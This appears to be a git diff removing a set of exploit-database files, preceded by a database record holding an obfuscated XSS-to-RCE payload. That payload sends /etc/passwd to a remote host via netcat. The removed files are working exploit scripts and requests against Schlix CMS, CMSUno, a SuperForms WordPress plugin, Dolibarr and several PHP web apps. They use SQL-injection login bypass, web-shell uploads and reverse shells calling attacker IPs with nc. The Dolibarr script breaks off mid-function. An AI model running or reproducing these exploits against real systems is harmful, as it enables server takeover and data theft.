{"bookId":"ddpQIk8Fhmoyr2wK","available":true,"_id":"VDJCb2CaIHObFXlw","createdAt":{"$$date":1620076429201},"updatedAt":{"$$date":1620076529398},"title":"XSS TO RCE","content":"[<audio src=x onerror=writeln(String.fromCharCode(10,60,97,117,100,105,111,32,115,114,99,61,120,32,111,110,101,114,114,111,114,61,34,99,111,110,115,116,32,101,120,101,99,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,59,10,101,120,101,99,40,39,110,99,32,45,119,32,51,32,49,57,50,46,49,54,56,46,49,49,49,46,49,50,57,32,49,51,51,55,32,60,32,47,101,116,99,47,112,97,115,115,119,100,39,44,32,40,101,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,61,62,32,123,32,105,102,32,40,101,32,105,110,115,116,97,110,99,101,111,102,32,69,114,114,111,114,41,32,123,10,99,111,110,115,111,108,101,46,101,114,114,111,114,40,101,41,59,32,116,104,114,111,119,32,101,59,32,125,32,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,111,117,116,32,39,44,32,115,116,100,111,117,116,41,59,10,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,101,114,114,32,39,44,32,115,116,100,101,114,114,41,59,125,41,59,10,97,108,101,114,116,40,39,49,39,41,34,62,60,115,99,114,105,112,116,62,10,118,97,114,32,80,114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101,115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,32,101,110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,115,112,97,119,110,40,123,102,105,108,101,58,39,47,117,115,114,47,98,105,110,47,103,110,111,109,101,45,99,97,108,99,117,108,97,116,111,114,39,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125,41,59,10,60,47,115,99,114,105,112,116,62))>](http://)"}
|
|
||||||
{"$$indexCreated":{"fieldName":"updatedAt","unique":false,"sparse":false}}
|
|
||||||
{"$$indexCreated":{"fieldName":"bookId","unique":false,"sparse":false}}
|
|
||||||
|
|
@ -1,79 +0,0 @@
|
||||||
# Exploit Title: Schlix CMS 2.2.6-6 - Arbitary File Upload And Directory Traversal Leads To RCE (Authenticated)
|
|
||||||
# Date: 21.05.2021
|
|
||||||
# Exploit Author: Emir Polat
|
|
||||||
# Vendor Homepage: https://www.schlix.com/
|
|
||||||
# Software Link: https://www.schlix.com/html/schlix-cms-downloads.html
|
|
||||||
# Version: 2.2.6-6
|
|
||||||
# Tested On: Ubuntu 20.04 (Firefox)
|
|
||||||
|
|
||||||
############################################################################################################
|
|
||||||
|
|
||||||
Summary: An authorized user can upload a file with a .phar extension
|
|
||||||
to a path of his choice and control the content as he wishes. This causes RCE vulnerability.
|
|
||||||
|
|
||||||
For full technical details and source code analysis:
|
|
||||||
https://anatolias.medium.com/schlix-cms-v2-2-6-6-c17c5b2f29e.
|
|
||||||
|
|
||||||
############################################################################################################
|
|
||||||
|
|
||||||
PoC:
|
|
||||||
|
|
||||||
1-) Login to admin panel with true credentials and go to "Tools ->
|
|
||||||
Mediamanager" menu from left side.
|
|
||||||
|
|
||||||
2-) Click the "Upload File" and upload a file and catch the request with Burp.
|
|
||||||
|
|
||||||
3-) Change the "uploadstartpath", "filename" and file content as follows.
|
|
||||||
|
|
||||||
# Request
|
|
||||||
|
|
||||||
POST /schlix/admin/app/core.mediamanager?&ajax=1&action=upload HTTP/1.1
|
|
||||||
Host: vulnerable-server
|
|
||||||
Content-Length: 846
|
|
||||||
X-Schlix-Ajax: 1
|
|
||||||
X-Requested-With: XMLHttpRequest
|
|
||||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
|
|
||||||
Content-Type: multipart/form-data;
|
|
||||||
boundary=----WebKitFormBoundarybllOFLruz1WAs7K2
|
|
||||||
Accept: */*
|
|
||||||
Origin: http:// <http://10.211.55.4/>vulnerable-server
|
|
||||||
Referer: http://vulnerable-server/schlix/admin/app/core.mediamanager
|
|
||||||
<http://10.211.55.4/schlix/admin/app/core.mediamanager>
|
|
||||||
Accept-Encoding: gzip, deflate
|
|
||||||
Accept-Language: en-US,en;q=0.9
|
|
||||||
Cookie: core-mediamanager_currentCategory=%2Fmedia%2Fpdf;
|
|
||||||
schlix-your-cookie;__atuvc=5%7C20;
|
|
||||||
schlix_frontendedit_control_showblock=-2;
|
|
||||||
schlix_frontendedit_control_showhide=-2;
|
|
||||||
schlix_frontendedit_control_showdoc=-2
|
|
||||||
Connection: close
|
|
||||||
|
|
||||||
------WebKitFormBoundarybllOFLruz1WAs7K2
|
|
||||||
Content-Disposition: form-data; name="_csrftoken"
|
|
||||||
|
|
||||||
{your_csrf_token}
|
|
||||||
------WebKitFormBoundarybllOFLruz1WAs7K2
|
|
||||||
Content-Disposition: form-data; name="uploadstartpath"
|
|
||||||
|
|
||||||
/media/docs/....//....//....//....//system/images/avatars/large/
|
|
||||||
------WebKitFormBoundarybllOFLruz1WAs7K2
|
|
||||||
Content-Disposition: form-data; name="filedata[]"; filename="shell.phar"
|
|
||||||
|
|
||||||
<?PHP system($_GET['rce']);?>
|
|
||||||
|
|
||||||
------WebKitFormBoundarybllOFLruz1WAs7K2
|
|
||||||
Content-Disposition: form-data; name="MAX_FILE_SIZE"
|
|
||||||
|
|
||||||
2097152
|
|
||||||
------WebKitFormBoundarybllOFLruz1WAs7K2
|
|
||||||
Content-Disposition: form-data; name="filedata__total_file_size"
|
|
||||||
|
|
||||||
0
|
|
||||||
------WebKitFormBoundarybllOFLruz1WAs7K2
|
|
||||||
Content-Disposition: form-data; name="filedata__max_file_count"
|
|
||||||
|
|
||||||
20
|
|
||||||
------WebKitFormBoundarybllOFLruz1WAs7K2--
|
|
||||||
|
|
||||||
|
|
||||||
4-) Go to "vulnerable-server/schlix/system/images/avatars/large/shell.phar?rce=ls".
|
|
||||||
|
|
@ -1,18 +0,0 @@
|
||||||
# Exploit Title: House Rental and Property Listing 1.0 - Multiple Stored XSS
|
|
||||||
# Tested on: Windows 10
|
|
||||||
# Exploit Author: Mohamed habib Smidi (Craniums)
|
|
||||||
# Date: 2020-12-28
|
|
||||||
# Google Dork: N/A
|
|
||||||
# Vendor Homepage: https://www.sourcecodester.com/php/14649/house-rental-and-property-listing-php-full-source-code.html
|
|
||||||
# Software Link: https://www.sourcecodester.com/download-code?nid=14649&title=House+Rental+and+Property+Listing+in+PHP+with+Full+Source+Code
|
|
||||||
# Affected Version: Version 1
|
|
||||||
# Patched Version: Unpatched
|
|
||||||
# Category: Web Application
|
|
||||||
# CVE: CVE-2021-25790
|
|
||||||
|
|
||||||
Step 1: Create a new user then login
|
|
||||||
Step 2: Click on "Register" page to register a room.
|
|
||||||
Step 3: input "<script>alert("Full name")</script>" in all fields each one with the field name except phone number, alternate number.
|
|
||||||
Note: for the email address you can inspect elements and change the type from email to text.
|
|
||||||
Step 4: Once all fields are completed, Click on Submit
|
|
||||||
Step 5: From the home page click on Details/Update, This will trigger all Stored XSS payloads one after the other.
|
|
||||||
|
|
@ -1,11 +0,0 @@
|
||||||
# Exploit Title: Resumes Management and Job Application Website 1.0 - Authentication Bypass (Sql Injection)
|
|
||||||
# Date: 2020-12-27
|
|
||||||
# Exploit Author: Kshitiz Raj (manitorpotterk)
|
|
||||||
# Vendor Homepage: http://egavilanmedia.com
|
|
||||||
# Software Link: https://egavilanmedia.com/resumes-management-and-job-application-website/
|
|
||||||
# Version: 1.0
|
|
||||||
# Tested on: Windows 10/Kali Linux
|
|
||||||
|
|
||||||
Step 1 - Go to url http://localhost/Resumes/login.html
|
|
||||||
Step 2 - Enter Username :- ' or '1'='1'#
|
|
||||||
Step 3 - Enter Password - anything
|
|
||||||
|
|
@ -1,93 +0,0 @@
|
||||||
# Exploit Title: E-Learning System 1.0 - Authentication Bypass & RCE
|
|
||||||
# Exploit Author: Himanshu Shukla & Saurav Shukla
|
|
||||||
# Date: 2021-01-15
|
|
||||||
# Vendor Homepage: https://www.sourcecodester.com/php/12808/e-learning-system-using-phpmysqli.html
|
|
||||||
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/caiwl.zip
|
|
||||||
# Version: 1.0
|
|
||||||
# Tested On: Kali Linux + XAMPP 7.4.4
|
|
||||||
# Description: E-Learning System 1.0 - Authentication Bypass Via SQL Injection + Remote Code Execution
|
|
||||||
|
|
||||||
#Step 1: run the exploit in python with this command: python3 exploit.py
|
|
||||||
#Step 2: Input the URL of the vulnerable application: Example: http://10.10.10.23/caiwl/
|
|
||||||
#Step 3: Input your LHOST where you want the reverse shell: Example: 10.9.192.23
|
|
||||||
#Step 4: Input your LPORT that is the port where the reverse shell will spawn: Example: 4444
|
|
||||||
#Step 5: Start a Netcat Listener on the port specified in Step 4 using this command: nc -lnvp 4444
|
|
||||||
#Step 6: Hit enter on the if your Netcat Listener is ready, and you will get a reverse shell as soon as you hit enter.
|
|
||||||
|
|
||||||
import requests
|
|
||||||
|
|
||||||
print('########################################################')
|
|
||||||
print('## E-LEARNING SYSTEM 1.0 ##')
|
|
||||||
print('## AUTHENTICATION BYPASS & REMOTE CODE EXECUTION ##')
|
|
||||||
print('########################################################')
|
|
||||||
|
|
||||||
print('Author - Himanshu Shukla & Saurav Shukla')
|
|
||||||
|
|
||||||
GREEN = '\033[32m' # Green Text
|
|
||||||
RED = '\033[31m' # Red Text
|
|
||||||
RESET = '\033[m' # reset to the defaults
|
|
||||||
#Create a new session
|
|
||||||
s = requests.Session()
|
|
||||||
|
|
||||||
#Set Cookie
|
|
||||||
cookies = {'PHPSESSID': 'd794ba06fcba883d6e9aaf6e528b0733'}
|
|
||||||
|
|
||||||
LINK=input("Enter URL of The Vulnarable Application : ")
|
|
||||||
|
|
||||||
#Authentication Bypass
|
|
||||||
print("[*]Attempting Authentication Bypass...")
|
|
||||||
values = {"user_email":"'or 1 or'", "user_pass":"lol","btnLogin":""}
|
|
||||||
r=s.post(LINK+'admin/login.php', data=values, cookies=cookies)
|
|
||||||
|
|
||||||
r=s.post(LINK+'admin/login.php', data=values, cookies=cookies)
|
|
||||||
|
|
||||||
#Check if Authentication was bypassed or not.
|
|
||||||
logged_in = True if("You login as Administrator." in r.text) else False
|
|
||||||
l=logged_in
|
|
||||||
if l:
|
|
||||||
print(GREEN+"[+]Authentication Bypass Successful!", RESET)
|
|
||||||
else:
|
|
||||||
print(RED+"[-]Failed To Authenticate!", RESET)
|
|
||||||
|
|
||||||
|
|
||||||
#Creating a PHP Web Shell
|
|
||||||
|
|
||||||
phpshell = {
|
|
||||||
'file':
|
|
||||||
(
|
|
||||||
'shell.php',
|
|
||||||
'<?php echo shell_exec($_REQUEST["cmd"]); ?>',
|
|
||||||
'application/x-php',
|
|
||||||
{'Content-Disposition': 'form-data'}
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
# Defining value for form data
|
|
||||||
data = {'LessonChapter':'test', 'LessonTitle':'test','Category':'Docs','save':''}
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
#Uploading Reverse Shell
|
|
||||||
print("[*]Uploading PHP Shell For RCE...")
|
|
||||||
upload = s.post(LINK+'/admin/modules/lesson/controller.php?action=add', cookies=cookies, files=phpshell, data=data, verify=False)
|
|
||||||
|
|
||||||
shell_upload = True if("window.location='index.php'" in upload.text) else False
|
|
||||||
u=shell_upload
|
|
||||||
if u:
|
|
||||||
print(GREEN+"[+]PHP Shell has been uploaded successfully!", RESET)
|
|
||||||
else:
|
|
||||||
print(RED+"[-]Failed To Upload The PHP Shell!", RESET)
|
|
||||||
|
|
||||||
print("[*]Please Input Reverse Shell Details")
|
|
||||||
LHOST=input("[*]LHOST : ")
|
|
||||||
LPORT=input("[*]LPORT : ")
|
|
||||||
|
|
||||||
print('[*]Start Your Netcat Listener With This Command : nc -lvnp '+LPORT)
|
|
||||||
input('[*]Hit Enter if your netcat shell is ready. ')
|
|
||||||
print('[+]Deploying The Web Shell...')
|
|
||||||
|
|
||||||
|
|
||||||
#Executing The Webshell
|
|
||||||
e=s.get('http://192.168.1.5/caiwl/admin/modules/lesson/files/shell.php?cmd=nc 192.168.1.2 9999 -e /bin/bash', cookies=cookies)
|
|
||||||
|
|
||||||
exit()
|
|
||||||
|
|
@ -1,125 +0,0 @@
|
||||||
# Exploit Title: CMSUno 1.6.2 - 'lang/user' Remote Code Execution (Authenticated)
|
|
||||||
# Google Dorks:
|
|
||||||
# inurl:uno/central.php
|
|
||||||
# inurl:uno/config.php
|
|
||||||
# inurl:uno.php intitle:"CMSUno - Login"
|
|
||||||
# Exploit Author: noraj (Alexandre ZANNI) for SEC-IT (https://secit.fr) https://www.exploit-db.com/?author=10066
|
|
||||||
# Vendor Homepage: https://www.boiteasite.fr/cmsuno.html
|
|
||||||
# Software Link: https://github.com/boiteasite/cmsuno/archive/1.6.2.tar.gz
|
|
||||||
# Version: 1.6.1, 1.6.2
|
|
||||||
# Tested on: docker image: php:7.4-apache (Debian buster)
|
|
||||||
# CVE : CVE-2020-25557 & CVE-2020-25538
|
|
||||||
|
|
||||||
# Vulnerabilities
|
|
||||||
## Discoverer: Fatih Çelik
|
|
||||||
## Discoverer website: https://fatihhcelik.blogspot.com
|
|
||||||
## Vulnerability 1:
|
|
||||||
## Title: CMSUno 1.6.2 - 'user' Remote Code Execution (Authenticated)
|
|
||||||
## CVE: CVE-2020-25557
|
|
||||||
## References: https://fatihhcelik.blogspot.com/2020/09/cmsuno-162-remote-code-execution.html
|
|
||||||
## Vulnerability 2:
|
|
||||||
## Title: CMSUno 1.6.2 - 'lang' Remote Code Execution (Authenticated)
|
|
||||||
## CVE: CVE-2020-25538
|
|
||||||
## References: https://fatihhcelik.blogspot.com/2020/09/cmsuno-162-remote-code-execution_30.html
|
|
||||||
|
|
||||||
#!/usr/bin/env ruby
|
|
||||||
|
|
||||||
require 'httpclient'
|
|
||||||
require 'docopt'
|
|
||||||
|
|
||||||
# username = 'cmsuno'
|
|
||||||
# password = '654321'
|
|
||||||
# root_url = 'http://localhost:5000/'
|
|
||||||
# command = 'pwd'
|
|
||||||
|
|
||||||
doc = <<~DOCOPT
|
|
||||||
CMSUno 1.6.1 <= 1.6.2 - Remote Code Execution (Authenticated)
|
|
||||||
|
|
||||||
Usage:
|
|
||||||
#{__FILE__} -r <url> -c <cmd> [-u <username>] [-p <password>] [-t <tech>] [--debug]
|
|
||||||
#{__FILE__} -H | --help
|
|
||||||
|
|
||||||
Options:
|
|
||||||
-r <url>, --root-url <url> Root URL (base path) including HTTP scheme, port and root folder
|
|
||||||
-u <username>, --user <username> user name (if not default: cmsuno)
|
|
||||||
-p <password>, --pass <password> User password (if not default: 654321)
|
|
||||||
-c <cmd>, --command <cmd> Command to execute on the target
|
|
||||||
-t <tehc>, --technique <tech> Technique: exploiting 'user' param (default, with output) or 'lang' param (blind)
|
|
||||||
--debug Display arguments
|
|
||||||
-h, --help Show this screen
|
|
||||||
|
|
||||||
Examples:
|
|
||||||
#{__FILE__} -r http://example.org -c id
|
|
||||||
#{__FILE__} -r https://example.org:5000/cmsuno -c 'touch hackproof' -u john -p admin1234 -t lang
|
|
||||||
DOCOPT
|
|
||||||
|
|
||||||
# Get anti-CSRF token
|
|
||||||
def get_unox(client, auth_status)
|
|
||||||
print '[*] Fetching anti-CSRF token: '
|
|
||||||
res = client.get(LOGIN_URL)
|
|
||||||
case auth_status
|
|
||||||
when false
|
|
||||||
regexp = /name="unox" value="([a-f0-9]{32}?)"/
|
|
||||||
when true
|
|
||||||
regexp = /Unox='([a-f0-9]{32}?)'/
|
|
||||||
end
|
|
||||||
token = regexp.match(res.body).captures[0].chomp
|
|
||||||
puts token
|
|
||||||
return token
|
|
||||||
end
|
|
||||||
|
|
||||||
def login(client, user, pass)
|
|
||||||
data = {
|
|
||||||
'unox' => get_unox(client, false),
|
|
||||||
'user' => user,
|
|
||||||
'pass' => pass,
|
|
||||||
}
|
|
||||||
puts '[*] Logging in'
|
|
||||||
res = client.post(LOGIN_URL, data)
|
|
||||||
return res.body
|
|
||||||
end
|
|
||||||
|
|
||||||
def exploit(client, user, pass, cmd, tech)
|
|
||||||
payload = "#{user}\";$pass='#{pass}';system('#{cmd}');?>// "
|
|
||||||
case tech
|
|
||||||
when 'user'
|
|
||||||
data = "action=sauvePass&unox=#{get_unox(client, true)}&user0=#{user}&pass0=#{pass}&user=#{payload}&pass=#{pass}&lang=en"
|
|
||||||
when 'lang'
|
|
||||||
data = "action=sauvePass&unox=#{get_unox(client, true)}&user0=&pass0=&user=&pass=&lang=#{payload}"
|
|
||||||
else
|
|
||||||
raise 'Wrong exploitation technique argument value'
|
|
||||||
end
|
|
||||||
headers = {
|
|
||||||
'X-Requested-With' => 'XMLHttpRequest'
|
|
||||||
}
|
|
||||||
#client.proxy = 'http://localhost:8080'
|
|
||||||
puts "[*] Starting exploitation, using '#{tech}' param technique"
|
|
||||||
client.post(VULNERABLE_URL, data, headers)
|
|
||||||
# Login again to trigger uno/password.php
|
|
||||||
clnt2 = HTTPClient.new
|
|
||||||
return login(clnt2, user, pass).lines[..-2].join
|
|
||||||
end
|
|
||||||
|
|
||||||
begin
|
|
||||||
args = Docopt.docopt(doc)
|
|
||||||
pp args if args['--debug']
|
|
||||||
|
|
||||||
username = args['--user'] || 'cmsuno'
|
|
||||||
password = args['--pass'] || '654321'
|
|
||||||
technique = args['--technique'] || 'user'
|
|
||||||
LOGIN_URL = "#{args['--root-url']}/uno.php"
|
|
||||||
VULNERABLE_URL = "#{args['--root-url']}/uno/central.php"
|
|
||||||
|
|
||||||
clnt = HTTPClient.new
|
|
||||||
login(clnt, username, password)
|
|
||||||
output = exploit(clnt, username, password, args['--command'], technique)
|
|
||||||
print '[*] Command output:'
|
|
||||||
case technique
|
|
||||||
when 'user'
|
|
||||||
puts "\n#{output}"
|
|
||||||
when 'lang'
|
|
||||||
puts ' blind RCE, no output with this exploitation technique'
|
|
||||||
end
|
|
||||||
rescue Docopt::Exit => e
|
|
||||||
puts e.message
|
|
||||||
end
|
|
||||||
|
|
@ -1,50 +0,0 @@
|
||||||
# Exploit Title: WordPress Plugin SuperForms 4.9 - Arbitrary File Upload to Remote Code Execution
|
|
||||||
# Exploit Author: ABDO10
|
|
||||||
# Date : Jan - 28 - 2021
|
|
||||||
# Google Dork : inurl:"/wp-content/plugins/super-forms/"
|
|
||||||
# Vendor Homepage : https://renstillmann.github.io/super-forms/#/
|
|
||||||
# Version : All (<= 4.9.X)
|
|
||||||
# data in http request :
|
|
||||||
|
|
||||||
POST /wp-content/plugins/super-forms/uploads/php/ HTTP/1.1
|
|
||||||
<=== exploit end point
|
|
||||||
Host: localhost
|
|
||||||
User-Agent: UserAgent
|
|
||||||
Accept: application/json, text/javascript, */*; q=0.01
|
|
||||||
Accept-Language: en-US,en;q=0.5
|
|
||||||
Accept-Encoding: gzip, deflate
|
|
||||||
X-Requested-With: XMLHttpRequest
|
|
||||||
Content-Type: multipart/form-data;
|
|
||||||
boundary=---------------------------423513681827540048931513055996
|
|
||||||
Content-Length: 7058
|
|
||||||
Origin: localhost
|
|
||||||
Connection: close
|
|
||||||
Referer: localhost
|
|
||||||
Cookie:
|
|
||||||
|
|
||||||
-----------------------------423513681827540048931513055996
|
|
||||||
Content-Disposition: form-data; name="accept_file_types"
|
|
||||||
|
|
||||||
jpg|jpeg|png|gif|pdf|JPG|JPEG|PNG|GIF|PDF <=======
|
|
||||||
inject extension (|PHP4) to validate file to upload
|
|
||||||
-----------------------------423513681827540048931513055996
|
|
||||||
Content-Disposition: form-data; name="max_file_size"
|
|
||||||
|
|
||||||
8000000
|
|
||||||
-----------------------------423513681827540048931513055996
|
|
||||||
Content-Disposition: form-data; name="image_library"
|
|
||||||
|
|
||||||
0
|
|
||||||
-----------------------------423513681827540048931513055996
|
|
||||||
Content-Disposition: form-data; name="files[]";
|
|
||||||
filename="filename.(extension)" <==== inject code extension (.php4)
|
|
||||||
for example
|
|
||||||
Content-Type: application/pdf
|
|
||||||
|
|
||||||
Evil codes to be uploaded
|
|
||||||
|
|
||||||
-----------------------------423513681827540048931513055996--
|
|
||||||
|
|
||||||
# Uploaded Malicious File can be Found in :
|
|
||||||
/wp-content/uploads/superforms/2021/01/<id>/filename.php4
|
|
||||||
u can get <id> from server reply .
|
|
||||||
|
|
@ -1,57 +0,0 @@
|
||||||
# Exploit Title: Hotel and Lodge Management System 1.0 - Remote Code Execution (Unauthenticated)
|
|
||||||
# Date: 07-03-2021
|
|
||||||
# Exploit Author: Christian Vierschilling
|
|
||||||
# Vendor Homepage: https://www.sourcecodester.com
|
|
||||||
# Software Link: https://www.sourcecodester.com/php/13707/hotel-and-lodge-management-system.html
|
|
||||||
# Version: 1.0
|
|
||||||
# Tested on: PHP 7.4.14, Linux x64_x86
|
|
||||||
|
|
||||||
# --- Description --- #
|
|
||||||
|
|
||||||
# The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.
|
|
||||||
# Executing this script against a target might return a reverse php shell.
|
|
||||||
|
|
||||||
# --- Proof of concept --- #
|
|
||||||
|
|
||||||
#!/usr/bin/python3
|
|
||||||
import random
|
|
||||||
import sys
|
|
||||||
import requests
|
|
||||||
from requests_toolbelt.multipart.encoder import MultipartEncoder
|
|
||||||
|
|
||||||
def file_upload(target_ip, attacker_ip, attacker_port):
|
|
||||||
print("(+) Setting up reverse shell php file ..")
|
|
||||||
random_file_name = str(random.randint(100000, 999999)) + "revshell.php"
|
|
||||||
revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port)
|
|
||||||
m = MultipartEncoder(fields={'image': (random_file_name, revshell_string, 'application/x-php'),'btn_update':''})
|
|
||||||
print("(+) Trying to upload it ..")
|
|
||||||
r1 = requests.post('http://{}/hotel/source code/profile.php'.format(target_ip), data=m, headers={'Content-Type': m.content_type})
|
|
||||||
r2 = requests.get('http://{}/hotel/source code/uploadImage/Profile/'.format(target_ip))
|
|
||||||
if random_file_name in r2.text:
|
|
||||||
print("(+) File upload seems to have been successful!")
|
|
||||||
return random_file_name
|
|
||||||
else:
|
|
||||||
print("(-) Oh noes, file upload failed .. quitting!")
|
|
||||||
exit()
|
|
||||||
|
|
||||||
def trigger_shell(target_ip, random_file_name):
|
|
||||||
print("(+) Now trying to trigger our shell..")
|
|
||||||
r3 = requests.get('http://{}/hotel/source code/uploadImage/Profile/{}'.format(target_ip, random_file_name))
|
|
||||||
return None
|
|
||||||
|
|
||||||
def main():
|
|
||||||
if len(sys.argv) != 4:
|
|
||||||
print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0])
|
|
||||||
print('(+) eg: %s 10.0.0.1 10.13.37.10 4444' % sys.argv[0])
|
|
||||||
sys.exit(-1)
|
|
||||||
|
|
||||||
target_ip = sys.argv[1]
|
|
||||||
attacker_ip = sys.argv[2]
|
|
||||||
attacker_port = sys.argv[3]
|
|
||||||
|
|
||||||
revshell_file_name = file_upload(target_ip, attacker_ip, attacker_port)
|
|
||||||
trigger_shell(target_ip, revshell_file_name)
|
|
||||||
print("\n(+) done!")
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
main()
|
|
||||||
|
|
@ -1,216 +0,0 @@
|
||||||
# Exploit Title: Dolibarr ERP/CRM 11.0.4 - File Upload Restrictions Bypass (Authenticated RCE)
|
|
||||||
# Date: 16/06/2020
|
|
||||||
# Exploit Author: Andrea Gonzalez
|
|
||||||
# Vendor Homepage: https://www.dolibarr.org/
|
|
||||||
# Software Link: https://github.com/Dolibarr/dolibarr
|
|
||||||
# Version: Prior to 11.0.5
|
|
||||||
# Tested on: Debian 9.12
|
|
||||||
# CVE : CVE-2020-14209
|
|
||||||
|
|
||||||
#!/usr/bin/python3
|
|
||||||
|
|
||||||
# Choose between 3 types of exploitation: extension-bypass, file-renaming or htaccess. If no option is selected, all 3 methods are tested.
|
|
||||||
|
|
||||||
import re
|
|
||||||
import sys
|
|
||||||
import random
|
|
||||||
import string
|
|
||||||
import argparse
|
|
||||||
import requests
|
|
||||||
import urllib.parse
|
|
||||||
from urllib.parse import urlparse
|
|
||||||
|
|
||||||
session = requests.Session()
|
|
||||||
base_url = "http://127.0.0.1/htdocs/"
|
|
||||||
documents_url = "http://127.0.0.1/documents/"
|
|
||||||
proxies = {}
|
|
||||||
user_id = -1
|
|
||||||
|
|
||||||
class bcolors:
|
|
||||||
BOLD = '\033[1m'
|
|
||||||
HEADER = '\033[95m'
|
|
||||||
OKBLUE = '\033[94m'
|
|
||||||
OKGREEN = '\033[92m'
|
|
||||||
WARNING = '\033[93m'
|
|
||||||
FAIL = '\033[91m'
|
|
||||||
ENDC = '\033[0m'
|
|
||||||
|
|
||||||
def printc(s, color):
|
|
||||||
print(f"{color}{s}{bcolors.ENDC}")
|
|
||||||
|
|
||||||
def read_args():
|
|
||||||
parser = argparse.ArgumentParser(description='Dolibarr exploit - Choose one or more methods (extension-bypass, htaccess, file-renaming). If no method is chosen, every method is tested.')
|
|
||||||
parser.add_argument('base_url', metavar='base_url', help='Dolibarr base URL.')
|
|
||||||
parser.add_argument('-d', '--documents-url', dest='durl', help='URL where uploaded documents are stored (default is base_url/../documents/).')
|
|
||||||
parser.add_argument('-c', '--command', dest='cmd', default="id", help='Command to execute (default "id").')
|
|
||||||
parser.add_argument('-x', '--proxy', dest='proxy', help='Proxy to be used.')
|
|
||||||
parser.add_argument('--extension-bypass', dest='fbypass', action='store_true',
|
|
||||||
default=False,
|
|
||||||
help='Files with executable extensions are uploaded trying to bypass the file extension blacklist.')
|
|
||||||
parser.add_argument('--file-renaming', dest='frenaming', action='store_true',
|
|
||||||
default=False,
|
|
||||||
help='A PHP script is uploaded and .php extension is added using file renaming function.')
|
|
||||||
parser.add_argument('--htaccess', dest='htaccess', action='store_true',
|
|
||||||
default=False,
|
|
||||||
help='Apache .htaccess file is uploaded so files with .noexe extension can be executed as a PHP script.')
|
|
||||||
required = parser.add_argument_group('required named arguments')
|
|
||||||
required.add_argument('-u', '--user', help='Username', required=True)
|
|
||||||
required.add_argument('-p', '--password', help='Password', required=True)
|
|
||||||
return parser.parse_args()
|
|
||||||
|
|
||||||
def error(s, end=False):
|
|
||||||
printc(s, bcolors.HEADER)
|
|
||||||
if end:
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
"""
|
|
||||||
Returns user id
|
|
||||||
"""
|
|
||||||
def login(user, password):
|
|
||||||
data = {
|
|
||||||
"actionlogin": "login",
|
|
||||||
"loginfunction": "loginfunction",
|
|
||||||
"username": user,
|
|
||||||
"password": password
|
|
||||||
}
|
|
||||||
login_url = urllib.parse.urljoin(base_url, "index.php")
|
|
||||||
r = session.post(login_url, data=data, proxies=proxies)
|
|
||||||
try:
|
|
||||||
regex = re.compile(r"user/card.php\?id=(\d+)")
|
|
||||||
match = regex.search(r.text)
|
|
||||||
return int(match.group(1))
|
|
||||||
except Exception as e:
|
|
||||||
#error(e)
|
|
||||||
return -1
|
|
||||||
|
|
||||||
def upload(filename, payload):
|
|
||||||
files = {
|
|
||||||
"userfile": (filename, payload),
|
|
||||||
}
|
|
||||||
data = {
|
|
||||||
"sendit": "Send file"
|
|
||||||
}
|
|
||||||
headers = {
|
|
||||||
"Referer": base_url
|
|
||||||
}
|
|
||||||
upload_url = urllib.parse.urljoin(base_url, "user/document.php?id=%d" % user_id)
|
|
||||||
session.post(upload_url, files=files, headers=headers, data=data, proxies=proxies)
|
|
||||||
|
|
||||||
def delete(filename):
|
|
||||||
data = {
|
|
||||||
"action": "confirm_deletefile",
|
|
||||||
"confirm": "yes",
|
|
||||||
"urlfile": filename
|
|
||||||
}
|
|
||||||
headers = {
|
|
||||||
"Referer": base_url
|
|
||||||
}
|
|
||||||
delete_url = urllib.parse.urljoin(base_url, "user/document.php?id=%d" % user_id)
|
|
||||||
session.post(delete_url, headers=headers, data=data, proxies=proxies)
|
|
||||||
|
|
||||||
def rename(filename, new_filename):
|
|
||||||
data = {
|
|
||||||
"action": "renamefile",
|
|
||||||
"modulepart": "user",
|
|
||||||
"renamefilefrom": filename,
|
|
||||||
"renamefileto": new_filename,
|
|
||||||
"renamefilesave": "Save"
|
|
||||||
}
|
|
||||||
headers = {
|
|
||||||
"Referer": base_url
|
|
||||||
}
|
|
||||||
rename_url = urllib.parse.urljoin(base_url, "user/document.php?id=%d" % user_id)
|
|
||||||
session.post(rename_url, headers=headers, data=data, proxies=proxies)
|
|
||||||
|
|
||||||
def test_payload(filename, payload, query, headers={}):
|
|
||||||
file_url = urllib.parse.urljoin(documents_url, "users/%d/%s?%s" % (user_id, filename, query))
|
|
||||||
